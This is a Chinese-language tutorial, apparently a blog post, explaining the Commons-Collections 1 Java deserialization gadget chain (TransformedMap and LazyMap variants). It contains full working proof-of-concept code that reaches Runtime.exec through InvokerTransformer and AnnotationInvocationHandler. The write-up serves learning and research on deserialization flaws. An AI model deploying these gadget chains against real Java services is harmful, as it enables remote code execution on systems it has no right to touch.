Common-Collections 1

Common-Collections1

简化版

首先来看一下p牛简化版的CC1,不含反序列化等操作,只有漏洞点的触发

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CC1simple {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

运行,弹出计算器,代表rce

image-20220909143920983

这里主要使用了以下几种接口和类:

Transformer

Transformer,顾名思义是转换器的意思。Transformer 能够将一个 对象转换成另一个对象。

可以看到,这个接口只有一个transform方法,但是它有21种实现

image-20220909143723204

而我们构造这条链使用的几个类,皆实现了Transformer接口image-20220909144228250

TransformedMap

Map类是存储键值对的数据结构。TransformedMap是对Map进行修饰,当被修饰的Map被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换。我们看下面的代码

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

TransformedMap的decorate方法对innerMap进行一个修饰,第一个参数是被修饰的Map,第二个参数为处理Key的回调,第三个参数为处理Value的回调,该方法会返回一个被修饰后的Map,即outerMap

image-20220909145531759

我们查看TransformedMap中存在一个transformValue方法,此方法即为处理Value的回调

image-20220909150245938

它会对我们传入被修饰Map的value进行一个transform方法的的调用

ConstantTransformer

这个类的构造函数将接收的参数,然后transform方法将参数返回

image-20220909150602619

InvokerTransformer

这个类接收三个参数,第一个参数为方法名,第二个参数为此方法接收的参数类型,第三个参数是传给这个方法的参数

image-20220909151152182

该类的transform⽅法,是一个完整的反射调用,这也是反序列化能执⾏任意代码的关键,它可以调用input对象的方法,从而能够⽤来执⾏任意⽅法

image-20220909151504989

ChainedTransformer

该类的构造方法接收一个Transformer数组,将数组中的多个Transformer串在⼀起,即前一个的结果,作为后一个的输入

image-20220909152249206

这里借用一张p牛的图来加深理解

image-20220909152512865

构造代码

在了解过上述类或接口后,我们再回过头来看一下这个简化版的CC1

关键代码如下,我们创建一个ChainedTransformer来接收剩下的两个Transformer,第一个ConstantTransformer,用来返回Runtime对象;第⼆个InvokerTransformer,用来执⾏Runtime对象的exec⽅法,参数为calc

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
        };
Transformer transformerChain = new ChainedTransformer(transformers);

然后使用我们开头说的TransformedMap.decorate用来包装innerMap,value为我们刚才构造的数组transformerChain,那我们如何触发这一系列回调呢,只需要向Map中放入一个新的元素

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx"); 

TransformedMap版

在简化版中,我们并没有构造一条完整的利用链,没有对outerMap进行一个序列化,所以是无法进行反序列化利用的,接下来我们对其进行一个扩充

在简化版中,我们触发漏洞是使用outerMap.put(“test”, “xxxx”),但在实际情况中,我们是无法这样写入的,那我们就需要需找一个类,它在反序列化的readObject里有类似的写入操作

AnnotationInvocationHandler

我们查看它的readObject方法(jdk8u71以前)

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

注意这里,memberValues是反序列化后都得到的Map,也是经过了TransformedMap修饰的对象,这里会遍历它的所有元素,从而触发setValue方法。

image-20220909155627942

在setValue时就会触发TransformedMap中的checkSetValue方法

image-20220909160726094

TransformedMap中的checkSetValue方法,会触发transform方法,从而调用我们构造的一系列transform回调,进而RCE

image-20220909160815738

那接下来让我们看看如何构造,从而进入到该类的setValue方法,首先创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来,因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,所以我们需要使用反射来获取它,并将其设置成外部可见的

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

这里我们可以看到AnnotationInvocationHandler类的构造函数有两个参数,第一个参数为Annotation类;第二个是参数是前面构造的Map。

image-20220909161918036

那我们这里第一个参数为何要使用Retention.class呢,我们回过头去看一下setValue方法的触发条件。可以看到这里需要经过两个if判断,才能调用setValue方法。

image-20220909162122094

第一个条件为memberType不为null,我们来看下memberType是如何获取的

annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);

即第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

第二个条件为

!(memberType.isInstance(value) ||value instanceof ExceptionProxy)

即被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

而Retention有一个方法,名为value

image-20220909163341100

为了满足第二个条件,需要给Map中放入一个Key是value的元素

innerMap.put("value", "xxxx"); 

这之后给出改造后的代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CC1{
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行报错,我们看一下报错信息, java.io.NotSerializableException: java.lang.Runtime 。

image-20220909163850825

为什么呢,这是因为Runtime没有继承Serializable接口,所以无法被序列化,那如何解决呢,很简单,使用反射来获取到Runtime对象即可

image-20220909163956944

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),

那最终我们的完整代码为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CC1{
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行,成功弹出计算器

image-20220909164429195

不过这条链在jdk8u71之后,
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化

image-20220909164738397

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以不能够触发RCE了

LazyMap版

接下来我们来学习一下LazyMap版本的CC1,此为ysoserial的原版利用链,而TransformedMap是由这篇文章提出Exploiting Deserialization Vulnerabilities in Java

LazyMap

LazyMap同样来自于Common-Collections库,它的漏洞触发点在于其get方法,对比TransformedMap的触发点,TransformedMap是写入元素的时候触发,而LazyMap的get方法是其找不到指定的键名后,它会调用 factory.transform 方法去获取一个值

image-20220925112812577

我们尝试简单构造一下,看看是否能够触发漏洞点

LazyMap的构造方法同TransformedMap一样,都是protected,所以需要使用decorate方法去创建对象

image-20220925114613554

demo如下

public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"})};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
        lazymap.get(6);
    }
}

image-20220925115657848

AnnotationInvocationHandler

那接下来如何去调用此get方法呢?在AnnotationInvocationHandler类的invoke方法可以调用到get方法

image-20220925114103671

那么怎么调用 AnnotationInvocationHandler#invoke呢?这里需要使用Java
的对象代理

Java对象代理

这里要使用到动态代理,具体不在多叙述,简单来说,就是AnnotationInvocationHandler继承了InvocationHandler接口,可以通过Proxy类的newProxyInstance来创建动态代理,那么在readObject时,只要调用任意方法,就会到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的
LazyMap#get 。

对AnnotationInvocationHandler 对象进行Proxy

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

代理后的对象为proxyMap,然后将其包裹在AnnotationInvocationHandle中,从而进行反序列化

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

梳理一下调用链

Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

最终poc为

package CCdemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行POC,成功弹出计算器

image-20220925164315009

调试的时候,发现会多次弹出计算器,为什么呢?

在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一toString之类的方法,导致不经意间触发了命令。

总结

与TransformedMap相同,这条链同样在jdk8u71以后不能使用,原因也相同,变更后的AnnotationInvocationHandler#readObject不再直接使用反序列化得到的Map对象,所以不能够使用了

参考:java安全漫谈-phith0n

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值